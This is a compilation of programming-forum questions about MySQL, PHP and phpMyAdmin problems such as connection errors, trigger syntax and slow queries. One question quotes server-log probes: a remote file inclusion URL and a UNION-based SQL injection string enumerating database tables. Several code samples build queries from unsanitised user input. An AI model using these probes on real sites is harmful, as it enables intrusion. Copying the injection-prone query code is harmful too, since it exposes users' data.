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  • Drupal: I cannot connect to the database.. please help

    - by Patrick
    hi, I've hard time to make Drupal work on IIS Microsoft server. I've succesfully run Joomla on the same server so I'm pretty sure the following information are correct: host: localhost user: user pass: pass databaseName = servername_databasename I've set the following line in settings.php file: $db_url = 'mysql://user:password@localhost/servername_databasename'; but what I get is this: If you are the maintainer of this site, please check your database settings in the settings.php file and ensure that your hosting provider's database server is running. For more help, see the handbook, or contact your hosting provider. I don't get any other error message such as: database doesn't exist, user/pass wrong.. just this. The database is running, I can access with phpmyadmin. I've tried both "mysql" and "mysqli". The host is a private server (IIS Microsoft), the database is Mysql The database and website files upload have also been succesfull.. so I dunno what to do to fix this issue. thanks

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  • Creating a MySQL trigger to verify data on another table

    - by Danny Herran
    I am trying to set up a MySQL trigger that does the following: When someone inserts data into databaseA.bills, it verifies if databaseB.bills already has that row, if it doesn't, then it does an additional insert into databaseB.bills. Here is what I have: CREATE TRIGGER ins_bills AFTER INSERT ON databaseA.bills FOR EACH ROW BEGIN IF NOT EXISTS (SELECT 1 FROM databaseB.bills WHERE billNumber=NEW.billNumber) THEN INSERT INTO databaseB.bills (billNumber) VALUES (NEW.billNumber) END IF END;// DELIMITER ; The problem is, I can't create it through mysql console or phpMyAdmin. It returns syntax errors near END IF END, and I am sure it's a delimiter problem. #1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'END IF END' at line 6 What am I doing wrong?

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  • PHP/Mysql issues

    - by queryne
    Php/my sql newbie question. I have a database I've imported into my local phpmyadmin. However it seems I can't access it from my a php application. The connection string seems right and when i try to authenticate user credentials to access database information, no problems. However authenticate everyone and knows when i put in fake credentials. Still it won't pull any other information from the database. For instance, once a users login they should see something like, "Hello username"... that kind of thing. At this point I see "Hello" without the username. Any ideas what i might be missing?

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  • PHP - How to insert special characters into a database?

    - by Dodi300
    Hello. Can anyone tell me how to insert special characters into a MySQL database? I've made a PHP script which is meant to insert some words into a database, although if the word contains a ' then it wont be inserted. I can insert the special characters fine when using PHPmyAdmin, but it just doesn't work when inserting them via PHP. Could it be that PHP is changing the special characters into something else? If so, is there a way to make them insert properly? Thanks!

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  • SQL Query Update is not working

    - by Brett Powell
    Hey guys, I am using pawn script for something, and everything works great except for one of my queries. For some reason, it will not work, and I am hoping it is simple enough someone can spot my mistake as I have been banging my head on it for days. http://ampaste.net/m6a887d30 The two highlighted lines are the queries that are not working. The other one works fine, but the values for 'class1kills' and 'class2kills' remain at 0. Here is a screenshot from phpmyadmin incase I did something silly. http://brutalservers.net/sql.png

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  • Showing all rows for keys with more than one row

    - by Leif Neland
    Table kal id integer primary key init char 4 indexed job char4 id init job --+----+------ 1 | aa | job1 2 | aa | job2 3 | bb | job1 4 | cc | job3 5 | cc | job5 I want to show all rows where init has more than one row id init job --+----+------ 1 | aa | job1 2 | aa | job2 4 | cc | job3 5 | cc | job5 I tried select * from kal where init in (select init from kal group by init having count(init)2); Actually, the table has 60000 rows, and the query was count(init)<40, but it takes humongus time, phpmyadmin and my patience runs out. Both select init from kal group by init having count(init)2) and select * from kal where init in ('aa','bb','cc') runs in "no time", less than 0.02 seconds. I've tried different subqueries, but all takes "infinite" time, more than a few minutes; I've actually never let them finish. Leif

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  • Loading .sql files from within PHP

    - by Josh Smeaton
    I'm creating an installation script for an application that I'm developing and need to create databases dynamically from within PHP. I've got it to create the database but now I need to load in several .sql files. I had planned to open the file and mysql_query it a line at a time - until I looked at the schema files and realised they aren't just one query per line. So, please.. how do I load an sql file from within PHP? (as phpMyAdmin does with it's import command).

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  • Killing the mysqld process

    - by Josh K
    I have a table with ~800k rows. I ran an update users set hash = SHA1(CONCAT({about eight fields})) where 1; Now I have a hung Sequel Pro process and I'm not sure about the mysqld process. This is two questions: What harm can possibly come from killing these programs? I'm working on a separate database, so no damage should come to other databases on the system, right? Assume you had to update a table like this. What would be a quicker / more reliable method of updating without writing a separate script. I just checked with phpMyAdmin and it appears as though the query is complete. I still have Sequel Pro using 100% of both my cores though...

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  • PHP/MySQL won't update decimal field

    - by Serhiy
    I have this query: UPDATE table_name SET field_1 = field_1 +100, field_2 = field_2 +100, field_3 = field_3 +100 WHERE id = 1 LIMIT 1; Where Field_1 is regular integer, Field_2 is decimal(15,6) and Field_3 is double(15,6). When I run this query from php script they update just field_1 and nothing happen with field_2 and field_3 they just stay as before. But when I run in phpMyAdmin it's work without any problems. I'm tried to lock tables, make round() before run update, nothing help. Please help... why I can't update decimal and float fields from php? PHP version: 5.2 Mysql version 5

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  • How to remove htmlentities() values from the database?

    - by Chris
    Long before I knew anything - not that I know much even now - I desgined a web app in php which inserted data in my mysql database after running the values through htmlentities(). I eventually came to my senses and removed this step and stuck it in the output rather than input and went on my merry way. However I've since had to revisit some of this old data and unfortunately I have an issue, when it's displayed on the screen I'm getting values displayed which are effectively htmlentitied twice. So, is there a mysql or phpmyadmin way of changing all the older, affected rows back into their relevant characters or will I have to write a script to read each row, decode and update all 17 million rows in 12 tables?

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  • Having problem in sql query execution

    - by Rishi2686
    Hi there, I have a problem in sql query execution.I am using this sql query: $userid = 1; $sql = mysql_query(" SELECT ID, Nm, Address, date_format(DateOfBirth, '%d%M%Y') as DateOfBirth FROM PersonalDetails where UserMasterID = $userid ") or die (mysql_error()); The result appears as: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '= ' at line 1 When I execute this in PHPMyAdmin it works properly. I am using mysql(5.0.5b) and PHP (5.2.6) Can you help me please?

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  • query excuting problem

    - by srini-r85
    hi, i tried to execute following query in php script. $db_selected = mysql_select_db("lumiinc1_sndemo1", $con); if ($db_selected) { echo "database connected"; } else { die ("Can\'t use db : " . mysql_error()); } $sql = "INSERT INTO `markers` ( `name`, `address`, `lat`, `lng`, `id` ) SELECT `name`, `street`, `latitude`, `longitude`, `lid` FROM `location` WHERE NOT EXISTS ( SELECT * FROM `markers` WHERE `location`.`lid` = `markers`.`id` )"; $result = mysql_query($sql); if ($result) { echo "Query executed OK"; } else { die("Invalid query: " . mysql_error()); } script does not show any error.also query executed.but i didn't get my expected result.at the same i try this query in phpmyAdmin i got my expected result. i dont know the cause of this problem. plz any one find the problem . thanks

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  • Why does php show error for my SQL query

    - by ZincX
    UPDATE: My mistake - I made a typo. Nevermind this question. I'm using php to update a mysql database. The resultant query I'm using when i print it out on my webpage before executing is as follows: INSERT INTO perch2_content_items (itemOrder, regionID, pageID, itemRev, itemID, itemJSON, itemSearch ) SELECT MAX(itemOrder)+1, 105, 81, 11, 118, 'json', 'search' FROM perch2_content_items WHERE regionID=105 When I copy and paste this query directly into the phpmyadmin SQL interface, it works fine. The table gets updated. However, when I try to execute it using my php code as follows, it throws an error. $insertToPerch = "INSERT INTO perch2_content_items (itemOrder, regionID, pageID, itemRev, itemID, itemJSON, itemSearch ) SELECT MAX(itemOrder)+1, $regionID, $pageID, $regionRev, $newItemID, 'json', 'search' FROM perch2_content_items WHERE regionID=$regionID"; mysql_query(insertToPerch) or die(mysql_error()); The error I'm getting is: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'insertToPerch' at line 1 Can anybody help me figure out why it is failing.

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  • Wordpress database query running slow - one of the columns doesn't exist!

    - by Pavel
    Hi there. I'm having some problems with the query that wordpress runs. That's the one: SELECT DISTINCT ID,post_title,post_date,post_content,MATCH(post_title,post_content) AGAINST ('S') AS score FROM wp_posts WHERE MATCH (post_title,post_content) AGAINST ('S') AND post_date <= 'S' AND post_status = 'S' AND id != N AND post_type = 'S' ORDER BY score DESC When I'm running this query in phpmyadmin it says that N column doesn't exist so clause "AND id != N" si not making any sense. I ran the query again without this clause and db behaved like fully optimized one. Please can someone give me a hint on that? My questions are: What this clause is used for? What wordpress is trying to find by running this and Can I modify core wordpress files to get rid of this clause? Any response or help greatly appreciated!!

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  • How to view existing data in Core Data?

    - by mshsayem
    Well, may be this question is silly, but I couldn't find a way (except programmatically). I built a project (for iPhone OS 3.0) which uses Core Data. The xcdatamodel file shows the schema description, but I want to see the data in tabular form (like the management studio for mssql server or phpmyadmin for mysql). Is there any way (except coding)? What is that? Also, which file (in disk/device) those data are stored into? [ I built the tutorial (from apple) on Core Data, named Locations. They used this line somewhere in the code: NSURL *storeUrl = [NSURL fileURLWithPath: [[self applicationDocumentsDirectory] stringByAppendingPathComponent: @"Locations.sqlite"]]; But, I did not see any "xxxxx.sqlite" file in project location (nor in the disk).]

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  • PHP/MySQL Database Issues

    - by queryne
    PHP/MySQL newbie question. I have a database I've imported into my local phpmyadmin. However it seems I can't access it from my a php application. The connection string seems right and when I try to authenticate user credentials to access database information, no problems. However authenticate everyone and knows when I put in fake credentials. Still it won't pull any other information from the database. For instance, once a users login they should see something like, "Hello username", that kind of thing. At this point I see "Hello" without the username. Any ideas what i might be missing?

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  • Json / Jsonp not connecting to php (Phonegap + jquerymobile)

    - by Madhulika Mukherjee
    I am trying to make - an android WEB application with phonegap layout with JqueryMobile What Im doing - An html form that takes ID, name, and address as input 'Serialize's this data using ajax makes a json object out of it Should send it to a file called 'connection.php' Where, this data is put into a database (MySql) Other details - My server is localhost, Im using xampp I have already created a database and table using phpmyadmin The problem - My html file, where my json object is created, does not connect to the php file which is hosted by my localhost Here is my COMPLETE html file: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <!-- Change this if you want to allow scaling --> <meta name="viewport" content="width=default-width; user-scalable=no" /> <meta http-equiv="Content-type" content="text/html;charset=utf-8"> <title>Trial app</title> <link rel="stylesheet" href="thestylesheet.css" type="text/css"> <script type="text/javascript" charset="utf-8" src="javascript1.js"></script> <script type="text/javascript" charset="utf-8" src="javascript2.js"></script> <script type="text/javascript" charset="utf-8" src="cordova-1.8.0.js"></script> <script> $(document).ready(function () { $("#btn").click( function() { alert('hello hello'); $.ajax({ url: "connection.php", type: "POST", data: { id: $('#id').val(), name: $('#name').val(), Address: $('#Address').val() }, datatype: "json", success: function (status) { if (status.success == false) { alert("Failure!"); } else { alert("Success!"); } } }); }); }); </script> </head> <body> <div data-role="header"> <h1>Heading of the app</h1> </div><!-- /header --> <div data-role="content"> <form id="target" method="post"> <label for="id"> <input type="text" id="id" placeholder="ID"> </label> <label for="name"> <input type="text" id="name" placeholder="Name"> </label> <label for="Address"> <input type="text" id="Address" placeholder="Address"> </label> <div id="btn" data-role="button" data-icon="star" data-theme="e">Add record</div> <!--<input type="submit" value="Add record" data-icon="star" data-theme="e"> --> </form> </div> </body> </html> And here is my 'connection.php' hosted by my localhost <?php header('Content-type: application/json'); $server = "localhost"; $username = "root"; $password = ""; $database = "jqueryex"; $con = mysql_connect($server, $username, $password); if($con) { echo "Connected to database!"; } else { echo "Could not connect!"; } //or die ("Could not connect: " . mysql_error()); mysql_select_db($database, $con); /* CREATE TABLE `sample` ( `id` int(11) unsigned NOT NULL AUTO_INCREMENT, `name` varchar(45) DEFAULT NULL, `Address` varchar(45) DEFAULT NULL, PRIMARY KEY (`id`) ) */ $id= json_decode($_POST['id']); $name = json_decode($_POST['name']); $Address = json_decode($_POST['Address']); $sql = "INSERT INTO sample (id, name, Address) "; $sql .= "VALUES ($id, '$name', '$Address')"; if (!mysql_query($sql, $con)) { die('Error: ' . mysql_error()); } else { echo "Comment added"; } mysql_close($con); ?> My doubts: No entry is made in my table 'sample' when i view it in phpmyadmin So obviously, i see no success messages either I dont get any errors, not from ajax and neither from the php file. Stuff Im suspecting: Should i be using jsonp instead of json? Im new to this. Is there a problem with my php file? Perhaps I need to include some more javascript files in my html file? I assume this is a very simple problem so please help me out! I think there is just some conceptual error, as i have only just started with jquery, ajax, and json. Thank you.

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  • how can I get back /usr/local/bin/mysql on Snow Leopard?

    - by Ole Media
    From terminal and trying to uninstall macports, I ran a command, rm -rf / macports...., that erased bunch of stuff. I feel ashamed about this, not realizing the space after /. Since then, mysql is running but I cannot execute any of the mysql commands because it is not under /usr/local/bin/ I went ahead an reinstall mysql but without luck. What steps do you recommend on doing in order to be able to run mysql, mysqlduml, mysqladmin, from terminal? I can access databases from phpmyadmin, so mysql is running, don't ask me how.

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  • Getting the title of a page in PHP

    - by Francesc
    Hi. When I want to get the title of a remote webiste, I use this script: function get_remotetitle($urlpage) { $file = @fopen(($urlpage),"r"); $text = fread($file,16384); if (preg_match('/<title>(.*?)<\/title>/is',$text,$found)) { $title = $found[1]; } else { $title = 'Title N/A'; } return $title; } But when I parase a webiste title with accents, I get "?". But if I look in PHPMyAdmin, I see the accents correctly. What's happening?

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  • magento login page loads with a white background

    - by megamage
    I use magento 1.8.1 and I just moved my localhost site to a new server and imported my database using phpmyadmin and deleted the contents inside var/cache & var/session folders but when I try to access my backend the login page is loading in left top corner with a white background. However I can access to my backend and my localhost login page is still loading fine but the magento login page in my new server is not loading fine. I don't know what went wrong. Please help me out to solve this issue.Thanks in advance

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  • Organization of simple project.

    - by Neir0
    Hi I want to create a simple mvc application. It's typical task and very simular with phpmyadmin. I have a table and a few operations delete, edit, create new row. Name Gender Age [delete] [edit] Alex Male 20 [delete] [edit] Elza Female 23 [New person] When edit or New person clicked by user application show the following page Name [........] Gender [........] Age [........] [Save] I'm very new in asp.net and mvc, can anyone suggest a right project organization or give links to simular applications?

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  • MySQL "NULL" questions

    - by Camran
    I have a table with several columns. Sometimes some of these column fields may be empty (ie. I won't use them in some cases). My questions: Would it be smart to set them to NULL in phpmyadmin? What does the "NULL" property actually do? Would I gain anything at all by setting them to NULL? Is it possible to use a NULL field the same way even though it is set to null?

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  • Is this an injection attempt or a normal request?

    - by CheeseConQueso
    In cPanel's Analog Stats statistics module, I've noticed countless requests to connect to the following example: /?x=19&y=15 The numbers are random, but its always setting x and y variables. Another category of mysterious requests: /?id=http://nic.bupt.edu.cn/media/j1.txt?? There are other attempts at injections in the request log that have straight sql written into them as well. Example: /jobs/jobinfo.php?id=-999.9 UNION ALL SELECT 1,(SELECT concat(0x7e,0x27,count(table_name),0x27,0x7e) FROM information_schema.tables WHERE table_schema=0x73636363726F6F745F7075626C6963),3,4,5,6,7,8,9,10,11,12,13-- It looks like they are all reaching a 404, but I'm still wondering about the intent behind these. I know this is vague, but maybe someone knows that this is normal while using cPanel & phpMyAdmin services. Also, there was a search box installed on the site which could be the reason. Any suggestions as to what all these are?

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  • mysql stored procedures using php

    - by neo skosana
    I have a stored procedure: delimiter // create procedure userlogin(in eml varchar(50)) begin select * from users where email = eml; end// delimiter ; And the php: $db = new mysqli("localhost","root","","houseDB"); $eml = "[email protected]"; $sql = $db-query("CALL userlogin('$eml')"); $result = $sql-fetch_array(); The error that I get from the browser when I run the php script: Fatal error: Call to a member function fetch_array() on a non-object... I am using phpmyadmin version 3.2.4 and mysql client version 5.1.41. Please help. Thank you.

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  • problem in displays data in one page

    - by user318068
    hi ,,,,, I have a problem in the following code ... The following code works as follows displays the invites for each member so that if he had five invite from supposed to be displayed all on one page But before you code that does not function Proper image is the only display one invite on the page and until the approval or rejection of the invitation displays the invite the other .... But this is not my want to offer all on one page I wish I could solve the problem and I can view all calls in one page I think that the problem is in the order code I think that the problem is in the order code my code : <?php session_start(); if (!isset($_SESSION['user_id'])) { header("Location: login.php"); } $id=$_SESSION['user_id']; ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Untitled Document</title> </head> <body> <center> <?php include("connect.php"); $sql =mysql_query("select * from ninvite where recieverMemberID ='$id' and viwed= '0'"); $num =mysql_num_rows($sql); echo $num ; if ($num>0) { while($row=mysql_fetch_array($sql)) { $sender=$row['SenderMemberID']; $room=$row['RoomID']; $sql =mysql_query("select MemberName from members where MemberID ='$sender' "); $sql1 =mysql_query("select RoomName from rooms where RoomID ='$room' "); while($row=mysql_fetch_array($sql)) {$mem =$row['MemberName']; } while($rows=mysql_fetch_array($sql1)) { $Ro =$rows['RoomName']; ?> <form action="join.php" method="post"> <label> </label> <br/> <label> <?php echo " you have invite from $mem to join $Ro"; ?> </label> <br/><br/> <label>accept</label> <input name="radio1" type="radio" value="accpet" /> <label>reject</label> <input name="radio1" type="radio" value="Reject" /><br/> <input type="submit" name="submit" value="done" /> </form> <?php } } } ?> </center> </body> </html> thanks alot. my SQl -- phpMyAdmin SQL Dump -- version 3.2.4 -- http://www.phpmyadmin.net -- Host: localhost -- Generation Time: May 07, 2010 at 12:50 ? -- Server version: 5.1.41 -- PHP Version: 5.3.1 SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT /; /!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS /; /!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION /; /!40101 SET NAMES utf8 */; -- -- Database: tr -- -- Table structure for table joinroom CREATE TABLE IF NOT EXISTS joinroom ( MemberID int(10) NOT NULL, RoomID int(10) NOT NULL, PRIMARY KEY (MemberID,RoomID) ) ENGINE=MyISAM DEFAULT CHARSET=latin1; -- -- Dumping data for table joinroom INSERT INTO joinroom (MemberID, RoomID) VALUES (28, 1); -- -- Table structure for table members CREATE TABLE IF NOT EXISTS members ( MemberID int(10) unsigned NOT NULL AUTO_INCREMENT, MemberName varchar(20) CHARACTER SET utf8 COLLATE utf8_bin NOT NULL, MemberPass varchar(10) CHARACTER SET utf8 COLLATE utf8_bin NOT NULL, MemberEmail varchar(30) CHARACTER SET utf8 COLLATE utf8_bin NOT NULL, MemberLocation text CHARACTER SET utf8 COLLATE utf8_bin NOT NULL, MemberImg text CHARACTER SET utf8 COLLATE utf8_bin NOT NULL, PRIMARY KEY (MemberID) ) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=34 ; -- -- Dumping data for table members INSERT INTO members (MemberID, MemberName, MemberPass, MemberEmail, MemberLocation, MemberImg) VALUES (28, 'marwa', '1234', '[email protected]', 'mmmmmm', 'dddddddddd'), (29, 'nora', '1234', '[email protected]', 'fffffffffffgg', 'gggggggggggggg'), (30, 'soso', '1234', '[email protected]', 'ffffffff', 'kkkkkkkkkkkkkkkkkk'), (31, 'gege', '1234', '[email protected]', 'kkkkkkkkkkkkkkkk', 'uuuuuuuuuuuuuuuuu'), (32, 'nono', '1234', '[email protected]', 'ggggggggggggaaaaa', 'aaaaaaaaaaaaaaa'), (33, 'nda', '1234', '[email protected]', 'kkkkkkkkkkkkkkkk', 'ooooooooooooooo'); -- -- Table structure for table ninvite CREATE TABLE IF NOT EXISTS ninvite ( SenderMemberID int(11) NOT NULL AUTO_INCREMENT, recieverMemberID varchar(30) NOT NULL, RoomID int(11) NOT NULL, viwed int(11) NOT NULL, PRIMARY KEY (SenderMemberID,recieverMemberID,RoomID) ) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=33 ; -- -- Dumping data for table ninvite INSERT INTO ninvite (SenderMemberID, recieverMemberID, RoomID, viwed) VALUES (28, '33', 1, 0), (28, '32', 1, 0), (28, '31', 1, 0); /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT /; /!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS /; /!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;

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